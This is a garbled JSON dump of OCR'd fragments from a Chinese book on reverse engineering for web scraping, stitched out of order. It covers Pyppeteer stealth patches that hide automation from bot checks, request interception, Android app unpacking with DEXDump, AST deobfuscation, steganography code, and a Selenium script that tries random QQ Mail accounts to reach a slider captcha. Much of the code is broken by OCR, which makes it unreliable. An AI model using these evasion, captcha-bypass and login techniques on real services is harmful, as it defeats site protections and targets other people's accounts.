    {"text": "import Asyncio from Pyppeteer import launch Async def main(url): browser = await launch({ headless :False }) page = await browser.newPage() . 1 25 爬虫逆向进阶实战 await page.evaluateOnNewDocument( \"() =>{ Object.defineProperties(navigator,{ webdriver:{ get:() => false } }) }\") await page.evaluateOnNewDocument( \"() =>{Object.defineProperty(navigator, languages , {get:() => [ en-US , en ]});}\") await page.evaluateOnNewDocument( \"() =>{ Object.defineProperty(navigator, plugins ,{ get:() => [1, 2, 3, 4, 5], }); }\") await page.goto(url) url = https://bot.sannysoft.com/ Asyncio.get_event_loop().run_until_complete(main(url)) 4. 2. 4 拦截器 Pyppeteer 有 一 个 非 常 适 用 于 爬 虫 的 功 能， 就 是 对 请 求 信 息 和 响 应 内 容 的 拦 截。"},
    {"text": "对 Request 的拦截有三个固定的常用方法， 分别是 Request. continue_（） 保持请求或者加入参数跳转到 新的 url， Request. abort（）过滤和停止请求， Request. respond（）用给定的响应内容完成请求。"},
    {"text": "Pyppeteer 拦截器示例： import Asyncio from Pyppeteer import launch Async def main(): browser = await launch() page = await browser.newPage() # 设置 request 拦截器 await page.setRequestInterception(True ) page.on( request , lambda req:Asyncio.ensure_future(intercept_request(req))) # 设置 response 拦截器 page.on( response , lambda rep:Asyncio.ensure_future(intercept_response(rep))) await page.goto( https://www.baidu.com ) await browser.close() # 请求拦截器 Async def intercept_request(Request): if Request.url= = : # 跳转 url await Request.continue_({\"url\":\"\"}) elif Request.url = = : # 停止请求 await Request.abort() elif Request.url = = : # 用给定的响应内容完成请求 await Request.respond({\"status\":\"\",\"body\":\"\"}) else : # 保持请求 1 26 . 第 4 章 自动化工具的应用 await Request.continue_() # 响应拦截器 Async def intercept_response(Response): print(Response.url) if Response.url= =\"https://www.baidu.com\": response = await Response.text() ... Asyncio.get_event_loop().run_until_complete(main()) 笔者更喜欢用 Puppeteer 来请求拦截， 当然最主要的是为了让非 Python 开发者也能进行体验， 另外有 时候通过 Node. js 调试会更方便。 Puppeteer 中也是使用 setRequestInterception 开启拦截器， 几个拦截的方法名和 Pyppeteer 相似， 通过 respond 方法可以拦截请求替换响应内容。"},
    {"text": "Node. js 拦截器示例： var request = require( request ); const puppeteer = require(\"puppeteer-extra\"); const StealthPlugin = require(\"puppeteer-extra-plugin-stealth\"); puppeteer.use(StealthPlugin ()); var apage; var message_js = \"js content\"; puppeteer.launch({ userDataDir :\"data\", ignoreDefaultArgs :[\"--enable-automation\"], headless :false , }).then(browser => { browser.newPage().then((page) => { apage = page; page.setRequestInterception(true ).then(() => { page.on( request ,Async (req) => { if (req.url().inDexOf(\"https://www.lx.js\") != -1) { req.respond({ status :200, headers :{}, body :message_js }) } else if (req.url().inDexOf(\"https://www.lx.png\") != -1) { req.abort() } page.on( response , Async response => { if (response.url().inDexOf(\"https://www.lx.json/\") != -1) { let message = response.text(); message.then(res =>{ console .log(res) }) . 1 27 爬虫逆向进阶实战 .catch(err =>{ console .log(err) }) } }) req.continue(); }); }) page.goto(\"https://www.lx.com\") }, {waitUntil :\"networkidle0\"}).then(() => { }) }); 相对于 Selenium 来说， Pyppeteer 的拦截功能更为强大， 非常适用于爬虫开发， 面对高难度的 Js 加密 时， 可以通过替换 Js 文件暴露接口或者函数， 这是一种很好的解决方法。"},
    {"text": "Unknown 2. DEXDump DEXDump 是基于 Frida 开发的脱壳工具， 代码开源且操作简单， 如图 6-95 所示。 Github 地址： https： / / Github. com/ hluwa / FRIDA-DEXDump 工具使用方法有两种， 一种是下载源码， 通过运行 Frida-Dexdump 文件中的 main. py 文件来进行脱壳， 另一种是通过命令行的命令进行脱壳， 使用命令启动前需要先安装 Frida-Dexdump。 安装方法： pip install Frida-Dexdump 2 44 . 第 6 章 Android 逆向 ·图 6-95 脱壳步骤如下： 第一步： 启动 Frida。 第二步： 在设备中打开要脱壳的 App。 第三步： 运行 firda-dexdump， 可以加参数-d。 脱壳后的 Dex 文件保存在同级目录下， 以包名为文件名。 在内存中转存 Dex 文件， 能脱大部分的壳。 Unknown 2. 验证码分割 在识别一张验证码图片时， 首先需要对图片进行处理， 把图中每个需 要识别的字母、 数字分割出来， 然后单独进行识别。 第一步生成的是 4 位验证码， 所以为了做训练集样本和后续的识别， 需要先把图片的每个数字分割成 4 份， 按照不同的标注， 放到 train_data_ img 目录下 0 ～ 9 的文件夹里面。 每个文件夹代表了该数字的训练集样本， ·图 10-7 如图 10-9 所示。 ·图 10-8 ·图 10-9 这里分割也是处理得比较简单， 按照宽度直接除以 4。 import os from PIL import Image from sklearn.externals import joblib import time def read_img(): img_array = [] img_lable = [] file_list = os.listdir( ./test_img ) for file in file_list: try: image = file img_array.Append(image) except: print(f {file}:图像已损坏 ) 3 40 . 第 10 章 验证码识别技术 os.remove( ./test_img/ +file) return img_array def sliceImg(img_path, count = 4): if not os.path.exists( train_data_img ): os.mkdir( train_data_img ) for i in range(10): if not os.path.exists(f train_data_img/{i} ): os.mkdir(f train_data_img/{i} ) img = Image.open( ./test_img/ +img_path) w, h =img.size eachWidth = int((w - 17) / count) img_path = img_path.replace( , ).split( . )[0] for i in range(count): box = (i * eachWidth, 0, (i + 1) * eachWidth, h) img.crop(box).save(f ./train_data_img/{img_path[i]}/ +img_path[i] + str(time.time ()) + \".png\") if_name_ = = _main_ : img_array = read_img() for i in img_array: print(i) sliceImg(i) 程序运行完毕之后， 每个文件夹下面都会有对应的验证码图片， 并且图片名的首字母就是对应标注， 如图 10-10 所示。 Unknown 0.001, float(random.randint(1, 2)) / 500 ] img = img.transform(size, Image.PERSPECTIVE, params) img = img.filter(ImageFilter.EDGE_ENHANCE_MORE) img.save(f ./test_img/{c_chars}.png ) if_name_ = = _main_ : if not os.path.exists( ./test_img ): os.mkdir( ./test_img ) . 3 39 爬虫逆向进阶实战 while True: auth_code() if len(os.listdir( ./test_img ))>=3000: break 运行之后， 就在 test_img 生成了 3000 张验证码图片。 笔者在生成图 片的时候， 把图片名称设置为了验证码对应的数字， 以做标注， 如图 10-7 所示。 查看一张图片 0124. png， 如图 10- 8 所示。 这里生成的图片还是很干净的， 因为本节以案例为主， 所以没有加噪 点。 如果是比较复杂的图片， 就参照 10. 1. 2 节的验证码图像处理对图片 预处理。"},
    {"text": "Unknown 3. 13 反混淆 AST 反混淆的开源工具和脚本有很多， 本来想一笔 带过， 奈何 AST 的应用场景越来越多， 本节内容就 来分享一下 AST 语法树在反混淆上的应用。"},
    {"text": "本 节 部 分 内 容 参 考 自： https： / / Github. com / coder-gao / spider AST 是抽 象 语 法 树， 在 Js 逆 向 中， 可 以 通 过 AST 把 Js 代码拆解为一棵层次分明的树结构。"},
    {"text": "如果 想熟练掌握， 需要学习 Babel 解析库， 这里不过多讲 解了。 AST 在线解析： https： / / astexplorer. net/ AST 解 析 库 Babel： https： / / Github. com/ jamie- builds/ babel-handbook 接下来用在线解析网站看一下把函数转换成 AST 之后的样子， 如图 3-122 所示。"},
    {"text": "可以看到一个类似 json 格式的树结构， 其中 Program 是程序主体， body 是树的主体， Variable-Declarator 是 变量声明， kind 是声明变量的语句 var， Value 即是笔 者定义的变量名。"},
    {"text": "表 3- 16 节点类型对照表 类型原名称 中 文 名 称 简 介 Program 程序主体 代码的主体 VariableDeclaration 变量声明 var、 let、 const FunctionDeclaration 函数声明 function ExpressionStatement 表达式语句 调用函数 BlockStatement 块语句 包裹在{}块内的代码 BreakStatement 中断语句 break ContinueStatement 持续语句 continue ReturnStatement 返回语句 return SwitchStatement Switch 语句 switch SwitchCase Case 语句 Case IfStatement 控制流语句 If、 else BinaryExpression 二进制表达式 运算 ArrayExpression 数组表达式 [1， 2， 3] NewExpression New 表达式 New AssignmentExpression 赋值表达式 UpdateExpression 更新表达式 更新成员值 BooleanLiteral 布尔型 true、 false NumericLiteral 数字型 StringLiteral 字符串 3. 13. 2 节点属性和方法 节点属性和方法， 如表 3-17 所示。"},
    {"text": "表 3-17 节点属性和方法 名 称 简 介 备 注 node 节点 属性 parent 父节点 属性 scope 作用域 属性 get 获取子节点属性 方法 findParent 向父节点搜寻节点 方法 getSibling 获取兄弟路径 方法 . 1 09 爬虫逆向进阶实战 (续) 名 称 简 介 备 注 getFunctionParent 获取包含该节点最近父路径的方法 方法 getStatementParent 获取最近 Statement 类型的父节点 方法 replaceWith 用 AST 节点替换该节点 方法 replaceWithSourceString 用源码解析后 AST 替换该节点 方法 insetBefore 在兄弟节点前插入节点 方法 insetAfter 在兄弟节点后插入节点 方法 remove 删除节点 方法 pushContainer 把 AST 节点 push 到节点属性中 方法 3. 13. 3 拆解简单 ob 混淆 ob 在线混淆网站： https： / / obfuscator. io / 原始 Js 语句： function hi () { console .log(\"Hello World!\"); } hi (); 混淆后的代码， 如图 3-123 所示。"},
    {"text": "在 AST 中 查看所有 name 和 type， name 为 hi、 type 为 Identifier 的只有 hi 方法和末尾调用时， 其他代码中并没有出 现， 则可以初步认为其他代码和 hi（）函数没有相关性。"},
    {"text": "1 10 . 第 3 章 Web Js 逆向 ·图 3-124 ·图 3-125 . 1 11 爬虫逆向进阶实战 3. 13. 4 用 AST 还原代码 当然复杂的混淆代码是不容易分析的， 可以利用 AST 来还原字符串、 控制流、 运算表达式， 还有替 换函数解密、 构造节点、 参数还原、 对象还原等。"},
    {"text": "下面使用 babel 解析库来进行代码还原示例： const parser = require(\"@ babel/parser\"); const template = require(\"@ babel/template\"). default; const traverse = require(\"@ babel/traverse\"). default; const t = require(\"@ babel/types\"); const generator = require(\"@ babel/generator\"). default; const fs = require(\"fs\"); const path = require( path ); // lx.js 是被混淆的 js 文件 var jscode = fs.readFileSync(\"lx.js\" { encoding:\"utf- 8\"}); const visitor_string = { StringLiteral|NumericLiteral (path) { delete path.node.extra } }; const visitor_number = { UnaryExpression (path) { const {value} = path.evaluate(); switch (typeof value) { case boolean : path.replaceWith(t.BooleanLiteral(value)) break; case string : path.replaceWith(t.StringLiteral(value)) break; case number : path.replaceWith(t.NumericLiteral(value)) break; default: break; } } } const visitor_function = { MemberExpression(path) { let property = path.get( property ) if (property.isStringLiteral()) { let value = property.node.value; path.node.computed =false property.replaceWith(t.Identifier(value)) } 1 12 . 第 3 章 Web Js 逆向 } }; const visitor_del_cons = { VariableDeclarator(path) { const {id} = path.node ; const binding = path.scope .getBinding(id.name ); if (! binding ||binding.constantViolations.length > 0) { return ; } if (binding.referencePaths.length = = = 0) { path.remove(); } }, } const visitor_eval = { CallExpression(path) { let {callee,arguments} = path.node ; if (! t.isIdentifier (callee,{name : eval })) return ; if (arguments.length != = 1 ||! t.isStringLiteral (arguments[0])) return ; let value = arguments[0].value ; path.replaceWith(t.Identifier(value)); }, } // 将 Js 源码转换成语法树 let ast = parser.parse(jscode); traverse(ast, visitor_string); //识别字符串 traverse(ast, visitor_number); //计算表达式 !! [ ] -> true traverse(ast, visitor_function); //将 a[ \"length\"] 转为 a.length traverse(ast, visitor_del_cons); //删除未被调用的变量 traverse(ast, visitor_eval); //处理 eval 函数 let {code} = generator(ast, {jsescOption:{\"minimal\":true}}); fs.writeFile( lx_decoded.js , code, (err) => {}); 当然还有复杂的处理， 比如去除 for-swith 控制流， 通过遍历 for 语句， 然后根据特征进行判断。 const visitor = { ForStatement(path) { const { init, update, test, body } = path.node ; if ( ! t.isVariableDeclaration (init) || ! t.isBinaryExpression (test) || update != = null ) return ; . 1 13 爬虫逆向进阶实战 let declaration = init.declarations[0]; const init_name = declaration.id .name ; let init_value = declaration.init .value ; let { left, right, operator } = test; //判断特征 if ( ! t.isIdentifier (left, { name :init_name }) || operator != = \"!=\" || ! t.isNumericLiteral (right) ) return ; let test_value = right.value ; let switch_body = body.body [0]; //判断特征 if (! t.isSwitchStatement (switch_body)) return ; let { discriminant, cases } = switch_body; if (! t.isIdentifier (discriminant, { name :init_name })) return ; let ret_body = []; let end_flag = false ; while (init_value != = test_value) { if (end_flag = = = true ) { break ; } for (const each_case of cases) { let { test, consequent } = each_case; if (init_value != = test.value ) { continue ; } if (t.isContinueStatement (consequent[consequent.length - 1])) { consequent.pop(); } if (t.isExpressionStatement (consequent[consequent.length - 1])) { let { expression } = consequent[consequent.length - 1]; if (t.isAssignmentExpression (expression)) { let { left, right, operator } = expression; if (t.isIdentifier (left, { name :init_name })) { init_value = right.value ; consequent.pop(); } } } if (t.isReturnStatement (consequent[consequent.length - 1])) { end_flag = true ; } ret_body = ret_body.concat(consequent); break ; } 1 14 . 第 3 章 Web Js 逆向 } path.replaceInline(ret_body); } } 下面通过代码块来进行测试。 function test() { for (var inDex = 0; inDex != 5;) { switch (inDex) { case 0: console .log(\"This is case-block 0\"); inDex = 3; continue ; case 1: console .log(\"This is case-block 1\"); return ; inDex = 5; continue ; case 2: console .log(\"This is case-block 2\"); inDex = 1; continue ; case 3: console .log(\"This is case-block 3\"); inDex = 4; continue ; case 4: console .log(\"This is case-block 4\"); inDex = 2; continue ; } break ; } } 去除控制流之后的代码如下： function test() { console .log(\"This is case-block 0\"); console .log(\"This is case-block 3\"); console .log(\"This is case-block 4\"); console .log(\"This is case-block 2\"); console .log(\"This is case-block 1\"); return ; } 本节只是做了简单的介绍， AST 还有很多的增删改功能和代码还原方法， 需要大家自行查找资料， 笔者会把一些封装好的代码上传到代码库中。"},
    {"text": "其实这块并不是一定要搞得非常熟练， 只要能明白如何使 用 AST 去解混淆， 了解 AST 基本的还原逻辑， 熟用分析工具， 就能对逆向过程有很大帮助了。"},
    {"text": ". 1 15 自动化工具的应用 使用自动化工具来做爬虫算是一种退而求其次的采集方法， 但是在某些场景并不比使用协议请求的 效果差， 尽管采集效率确实会相差很大。 不过使用自动化工具非常适合刚入门 Js 逆向和 Android 逆向的读 者， 毕竟所有的采集任务终究是为了得到数据， 可以先完成任务， 再花时间来研究那些需要耗时费力的 加密参数及请求协议。"},
    {"text": "Unknown 2. 不落地加载 不落地加载是第二代加固， 通过内存动态加载 Dex 文件， 可以将 Dex 文件加密放在 APK 中， 在内存 中实现解密。 加固实现的主要流程如图 6-92 所示。 系统先加载 Loader， 然后初始化 Loader 内的 StubApplication。 对 StubApplication 进行解密并且加载原 始的 Dex 文件， 然后从 Dex 文件中找到原始的 Application 对象， 创建 Application 并初始化。 最后通过反射 将系统内所有对 StubApplication 对象的引用替换成原始 Application。 Android 系统来进行其他组件的正常生 命周期管理。 . 2 41 爬虫逆向进阶实战 目前 针 对 第 二 代 壳 的 脱 壳 工 具 有 很 多， 比 如 FDex2、 dumpDex、 ZjDroid 等， 后面会介绍相关工具。 不落地加载的内 存是连续的， 所以通过 Hook 关键函数， 直接在内存中把 Dex 遍 历出来就可以。 Unknown 6. 2 Android 逆向工具 工欲善其事必先利其器， 对于 App 的逆向工程需要先做好准备工作， 各种逆向工具的合理搭配使用 更是重中之重。 比如一次简单的逆向， 需要准备好应用程序的 APK、 APK 反编译工具 APKtools、 Dex 文 件反编译 工 具 Dex2jar、 class 源 码 查 看 工 具 jd-gui， 或 者 已 经 封 装 好 功 能 的 软 件 AndroidKiller、 Jeb、 Jadx 等。 本节主要介绍常用的逆向工具， 具体的使用方法在之后的章节会配合案例进行讲解。 本节介绍的工 具都可以到本书代码库中进行下载。 APKtools、 Dex2jar、 jd-gui 就不再单独介绍了， 下面小节中的工具会有一些集成。 6. 2. 1 Android Killer Android Killer 是一款 Windows 平台下使用最便捷的 Android 反编译软件， 直接把 APK 拖入软件中就能 自动进行反编译， 它还能修改反编译后的 Smali 文件， 并将修改后的文件重新打包成 APK， 如图 6-5 所示。 ·图 6-5 Android Killer 主要集成了三个反编译工具， 分别是 APKtool、 Dex2jar、 jd-gui。 APKtool 能够将 APK 文 件反编译成 Dex 文件， Dex2jar 能够将 Dex 文件反编译成 jar 包， jd-gui 则是把 jar 包反编译成 Java 的 class 文件。 所以如果是 Mac 或者 Linux 系统， 虽然不能使用 Android Killer， 但是可以分别下载这三个反编译工 具， 按照流程自行进行反编译。 除了反编译外， Android Killer 有强大的工程搜索功能， 可以根据字符串在整个项目或者指定的文件 类型中进行检索， 通常作为定位加密参数的首要方法。 另外它还具有修改代码、 回编译等功能， 但是对于爬虫逆向来说， 这部分基本没有涉及， 所以就不 多介绍了。 1 84 . 第 6 章 Android 逆向 6. 2. 2 Jadx Jadx 是笔者比较喜欢的一款反编译工具， 支持命令行和图形界面， 使用方式非常简单， 导入或者拖 入 APK 即可自动反编译。 Github 地址： https： / / Github. com/ skylot/ jadx 除了反编译代码， 在 Jadx 中可以直接查看 APK 的证书文件， 如图 6- 6 所示。 ·图 6-6 当进行搜索的时候， Jadx 会把所有文件预加载到内存中， 等加载完成后才能进行各种搜索操作， 如 图 6-7 所示。 ·图 6-7 但是 Jadx 的默认内存上限只有 4GB， 如果 APK 超过 60MB 可能就因为内存不足导致无法反编译。 一 般来说 8GB 内存足以反编译大部分 App 了， 具体能给到多少还需要看计算机的配置。 接下来修改一下 Jadx 的可用内存： （1） 使用记事本或者 notpad++编辑 jadx-gui. bat 文件。 . 1 85 爬虫逆向进阶实战 （2） 找 到 set DEFAULT _ JVM _ OPTS = \" -Xms128M \" \" - Xmx4g\" 。 （3） 将其修改为 set DEFAULT_JVM_OPTS = \" -Xms128M\" \" -Xmx8g\" 后保存， 如图 6-8 所示。 此时再重新打开软件， 查看最下方的内存提示信息已经被 ·图 6-8 更改， 如图 6-9 所示。 ·图 6-9 6. 2. 3 JEB JEB 是一款优秀的逆向软件， 用于反汇编、 反编译、 调试并分析二进制代码和文档文件， 如图 6-10 所示。 官网： https： / / www. pnfsoftware. com / ·图 6-10 1 86 . 第 6 章 Android 逆向"},
    {"text": "Unknown 2. 5 Scrapy-Redis Scrapy-Redis 是一个基于 Redis 的 Scrapy 组件， 用于快速实现 Scrapy 项目的分布式部署， 通过 Scrapy-Redis 可以快速搭建一个分布式爬虫。 安装配置这些就不再说了， 都比较简单， 一些个人认为比较重要的 . 2 3 爬虫逆向进阶实战 知识点如下。 Github 地址： https： / / Github. com/ rmax / Scrapy-Redis 2. 5. 1 运行原理 Scrapy-Redis 是在 Scrapy 原有的架构上， 修改了队列调度， 将种子从 start_urls 里分离出来， 改为从 Redis 读取， 这样多个客户端可以同时读取同一个 Redis， 从而实现了分布式的爬虫， 其运行原理如 图 2-15 所示。 如果按照主从分布的模式来看， 其运行原理如图 2-16 所示。 ·图 2-15 ·图 2-16 Master 端是来自 Redis 的任务队列， Slaver 端从 Master 端取任务 （Request/ url/ ID）。 在抓取数据的同 时， 如果生成新任务， Slaver 将任务再抛给 Master。 Master 端只对接了一个 Redis 数据库， 负责对 Slaver 提 交的任务进行去重和存入任务队列。 2. 5. 2 源码解析 Scrapy-Redis 的源码并不多， 查看源码可以看到主要由 connection. PY、 dupefilter. PY、 pipelines. PY、 queue. PY、 scheduler. PY 组成， 分别是连接、 过滤、 管道、 队列、 调度， 如图 2-17 所示。 connection. PY 中包含了一些基础配置， 主要用于返回一个 Redis 实例。 dupefilter. PY 中实现了在 Scrapy-Redis 的去重， 主要利用了 Redis 集合不重复的特性。 调度器从引擎 接收 request， 将 request 的指纹存入 Redis 的集合并检查是否重复， 不重复的 request push 写入 Redis 的 request queue。 引擎请求 request 时， 调度器从 request queue 里根据优先级 pop 出一个 request 返回给引擎， 引擎再发给 spider 进行采集。 pipelines. PY 主要实现了把采集的 Item 存入 Redis 的 items queue， 可以很方便地根据 key 从 items queue 提取 item， 从而实现 items processes 集群。 queue. PY 文件中主要是三种队列类型。 按先进先出规则排序的 FifoQueue （FIFO）， 按后进先出规则 排序的 LifoQueue （LIFO）， 以及优先队列 PriorityQueue。 FIFO 等同于广度优先， LIFO 等同于深度优先， 而默认的规则是 PriorityQueue。 使用 PriorityQueue 优先队列时， 返回的总是优先级最高的元素。 2 4. 第 2 章 Python 爬虫技巧 ·图 2-17 scheduler. PY 主要实现了基于 Redis 的调度器， 用于接收消息调度任务。 2. 5. 3 集群模式 Scrapy-Redis-sentinel 在 Scrapy-Redis 的单机模式基础上新增了哨兵 （ Sentinel） 连接模式以及集群 （Cluster） 连接模式。 Github 地址： https： / / Github. com/ crawlaio / Scrapy-Redis-sentinel 可以查看 Sentinel 集群模式的源码， 在 Scrapy-Redis 源码的基础上进行了修改， 比如在 connection. PY 中新增了哨兵 （Sentinel） 和集群 （ Cluster） 的连接配置代码， 在 queue. PY 文件中对 PriorityQueue 类的 pop 方法增加了支持集群的事务操作， 其他主要模块都进行了调整。 具体的使用方法不多说了， 大家到 Github 查看使用文档即可。"},
    {"text": "Unknown 3. 4 常见的压缩和混淆 在 Web 系统发展早期， Js 在 Web 系统中承担的职责并不多， Js 文件比较简单， 也不需要任何的保 4 6. 第 3 章 Web Js 逆向 护。"},
    {"text": "代码混淆的本质是对于代码标识符和结构的调整， 从而达到不可读不可调试的目的， 常用的混淆有 字符串、 变量名混淆， 比如把字符串转换为_0x， 把变量重命名等， 从结构的混淆包括控制流平坦化、 虚 假控制流和指令替换。 代码加密主要有通过 eval 方法去执行字符串函数、 通过 escape（ ） 等方法编码字符 串、 通过转义字符加密代码、 自定义加解密方法 （ RSA、 Base64、 AES、 MD5 等）， 或者通过一些开源工 具进行加密。"},
    {"text": "不仅 Js 中 的变量名混淆， 运行逻辑等也高度混淆， 应对这种混淆可以使用已有的工具 ob-decrypt 或者 AST 解混淆或 者使用第三方提供的反混淆接口。 大家平时可以多准备一些工具， 在遇到无法识别的 Js 时， 可以直接使 用工具来反混淆和解密， 当然逆向工作本身就很看运气。 3. 4. 1 webpack webpack 是当前前端最热门的模块化管理和打包工具， 本质上 webpack 只是一个现代 JavaScript 应用 程序的静态模块打包工具， 并不是混淆工具， 尽管 webpack 有一些插件可以把代码混淆化， 所以现在很多 网站都把 webpack 和 obfuscator 混淆工具结合使用， 这二者结合起来， 前端的代码会变得难以阅读和分析， 如图 3-26 所示。"},
    {"text": "·图 3-26 webpack 打包后的 Js 有 webpack_require 这一显著特征， 并且代码中有一个在自执行函数内的入口， 这个入口可能会在函数数组上边或者其他文件夹中。"},
    {"text": "目前针对打包后的 Js 文件有通用的函数导出方法， 方法如下： var lx ; ! function (e){ var report = {}; function o(n){ if (report[n]) . 4 7 爬虫逆向进阶实战 return report[n].exports ; var t = report[n] = { i :n, l :! 1, exports :{} }; return e[n].call(t.exports ,t,t.exports ,o), t.l = ! 0, t.exports } lx = o; }({ // 添加 webpack 模块 // \"method\":function(e){} }); // 调用模块函数 // var t = lx(\"method\"); 如果实在调试困难的话， 可以使用 debundle 工具来进行拆包还原， 但是拆包后难免会丢失一些元数据。"},
    {"text": "可以自己先定义一个方法来通过 eval 进行混淆， 如图 3-27 所示， 定义方法 n（ ）， 通过浏览器的内置 方法 btoa 将方法的文本进行 base64 转换， 然后用 atob 方法进行解码并通过 eval 去执行文本。"},
    {"text": "那么通过这种不同却相似的字符进行搭配， 可 4 8. 第 3 章 Web Js 逆向 以生成很多混淆变量名， 比如 OO 和 O O， 不 仔细看着实难以分辨， 如图 3-28 所示。"},
    {"text": "·图 3-30 关于这种混淆代码的解码方法， 一般直接复制到控制台运行或者用解码工具进行转换， 如果运行失 败， 就需要按分号分割语句， 逐行调试分析源码。"},
    {"text": "3. 4. 4 Jsfuck 混淆 Js 中还有其他有趣的特征， 比如无论什么类型加上引号都会变成字符串， 代码 [0] +\" \" ， 输出会 . 4 9 爬虫逆向进阶实战 返回字符串\" 0\" ；"},
    {"text": "可以利用在线工具进行 Jsfuck 混淆测试， 如图 3-31 所示。 ·图 3-31 测试链接： https： / / www. sojson. com / jsfuck. html 关于这种混淆代码的解码方法， 还是和前面所述相同， 用控制台运行调试或者用解码工具转换。 还 有其他的方法， 比如根据 Jsfuck 的特性， 这段混淆必须由 eval 或者 Function 去执行， 所以通常可以在控制 台使用 toString 方法进行还原。"},
    {"text": "在线解码网站： http： / / codertab. com / JsUnFuck 3. 4. 5 OLLVM 混淆 OLLVM （Obfuscator-LLVM） 是瑞士西北应用科技大学安全实验室于 2010 年 6 月发起的一个项目， 该 项目旨在提供一套开源的针对 LLVM 的代码混淆工具， 以增加对逆向工程的难度。"},
    {"text": "OLLVM 有三大功能， 分别 是： Control Flow Flattening （ 控 制 流 平 坦 化 ）、 Bogus Control Flow （ 虚 假 控 制 流 ）、 Instructions Substitution （指令替换）。 控制流平坦化是 OLLVM （代码混淆工具） 中使用到的一种代码保护方式， 会降低代码运行速度， 增 加代码量。"},
    {"text": "·图 3-33 虚假控制流是把原来的一个基本块膨胀成若干个虚假的基本块与该基本块的比较判断结构， 通过一 个控制变量保证控制流能运行到原来的那个基本块， 其他基本块都是虚假的。"},
    {"text": "符号执行是一种重要的形式化 方法和软件分析技术， 通过使用符号执行技术， 将程序中变量的值表示为符号值和常量组成的计算表达 式， 符号是指取值集合的记号， 程序计算的输出被表示为输入符号值的函数， 其在软件测试和程序验证 中发挥着重要作用， 并可以应用于程序漏洞的检测。"},
    {"text": "AST 是指抽象语法树， 可以将混淆的源代码转为 AST 语法树， 树上的每个节点都表示源代码中的一种结构， 可以对 AST 做很多的操作， 以便于混淆源码 的分析和逆向。"},
    {"text": ". 5 1 爬虫逆向进阶实战 ·图 3-34 3. 4. 7 lsb 隐写 隐写术严格来讲并不属于混淆和加密， 原理是将 Js 代码隐藏到了特定的介质中， 其通过最低有效位 （LSB） 算法嵌入到图片的 RGB 通道 （三原色）、 隐藏到图片 EXIF 元数据或者 HTML 的空白字符中， 比 如曾经的图片木马。"},
    {"text": "隐写的方式同样需要程序执行， 所以破解的方式是在源码的上下文中劫持或者替换关键函数的调用， 将其修改为文本输出， 即可得到载体中隐藏的代码。"},
    {"text": "return str.zfill(8) def get_key(strr): str_ = \"\" for i in range(len(strr)): # 将要隐藏的文件内容转换为二进制并拼接起来 str_ = str_ + plus(bin(ord(strr[i])).replace( 0b , )) return str_ def mod(x, y): return x % y def func(old_img, str2, new_img): # str1 为载体图片路径，str2 为隐写文件，str3 为加密图片保存的路径 im = Image.open(old_img) 5 2. 第 3 章 Web Js 逆向 # 获取图片的宽和高 width = im.size[0] height = im.size[1] count =0 key = get_key(str2) keylen = len(key) for h in range(0, height): for w in range(0, width): pixel = im.getpixel((w, h)) a = pixel[0] b = pixel[1] c = pixel[2] if count = = keylen: break # 信息隐藏：分别将每个像素点的 RGB 值余 2，去掉最低位的值 # 再从需要隐藏的信息中取出一位，转换为整型，两值相加 a = a - mod(a, 2) + int(key[count]) count +=1 if count = = keylen: im.putpixel((w, h), (a, b, c)) break b = b - mod(b, 2) + int(key[count]) count +=1 if count = = keylen: im.putpixel((w, h), (a, b, c)) break c = c - mod(c, 2) + int(key[count]) count +=1 if count = = keylen: im.putpixel((w, h), (a, b, c)) break if count % 3 = = 0: im.putpixel((w, h), (a, b, c)) im.save(new_img) # 原图 old_img = r\"timg.jpg\" new_img = r\"timg2.jpg\" func(old_img,\"Lx Is Good Man\",new_img) 本小节仅做一下知识补充， 更多内容需要大家自行了解。"},
    {"text": "Unknown 1. Unidbg 介绍 Unidbg 是一个基于 unicorn 的逆向工具， 可以黑盒调用 Android 中的 so 文件。 另外 Unidbg 项目是一个 标准的 maven 项目， 如图 6-76 所示， 可以通过 maven 一键部署， 也可以在 SpringBoot 中运行， 打包成 Web 服务或者 jar 包供第三方调用。 ·图 6-76 Github 地址： https： / / Github. com/ zhkl0228/ unidbg Unidbg 特点如下： · 模拟 JNI 调用 Api， 可以调用 JNI_OnLoad。 · 支持 JavaVM、 JNIEnv。 · 模拟系统调用指令。 . 2 29 爬虫逆向进阶实战 · 支持 ARM32 和 ARM64。 · 支持基于 HookZz 实现的 Inline Hook。 · 支持基于 xHook 实现的 Import Hook。 · 支持控制台调试器、 gdb stub、 指令跟踪、 内存读写等。 Unidbg 目前最新版是 0. 9. 5， 可以直接到 Github 下载源码。 下载完成之后， 在 IntelliJIDEA 中以 Maven 项目形式导入， 当然需要提前准备好 Java 环境 （jdk、 maven）。 等待 IDEA 中的项目加载完成之后， 运行 src / . . . . / encrypt 中的 TTEncrypt 测试用例， 如图 6-77 所示。 ·图 6-77 如果控制台打印相关调用信息， 说明已经导入成功， 如图 6-78 所示。 ·图 6-78 2 30 . 第 6 章 Android 逆向"},
    {"text": "第一种是通过自动化工具进行行为模拟， 生成轨迹把滑块拖动到验 3 46 . 第 10 章 验证码识别技术 证码图片的缺口处完成验证， 这种方式适合一次性登录时使用， 登录之后获取 Cookie 再通过协议完成请 求。 第二种方式是分析滑块验证成功时所请求的接口， 一般请求成功会携带滑块验证的坐标和一些加密 参数， 通过构造请求完成滑块验证， 这种效率很高， 适合处理频繁访问时的验证。"},
    {"text": "10. 2. 1 邮箱滑块验证码 QQ 邮箱在登录时输入正确的账号和错误的密码时会出现 滑块验证。 本案例用 opencv+selenium 来对 QQ 邮箱的滑块验证 进行模拟登录， 如图 10-19 所示。"},
    {"text": "driver.get( https://mail.qq.com ) driver.switch_to.frame(\"login_frame\") # 切换 frame driver.find_element_by_id( switcher_plogin ).click() # 单击“ 账号密码登录” 按钮 username = 1234567{}@ qq.com .format(random.randint(0,99)) # 随机获取一个账号 driver.find_element_by_id(\"u\").send_keys(username) # 输入账号 driver.find_element_by_id(\"p\").send_keys( wwwwwwwww ) # 输入一个密码 driver.find_element_by_id(\"login_button\").click() # 单击登录 . 3 47 爬虫逆向进阶实战 在正常出现滑块验证后， 需要进行缺口位置识别。"},
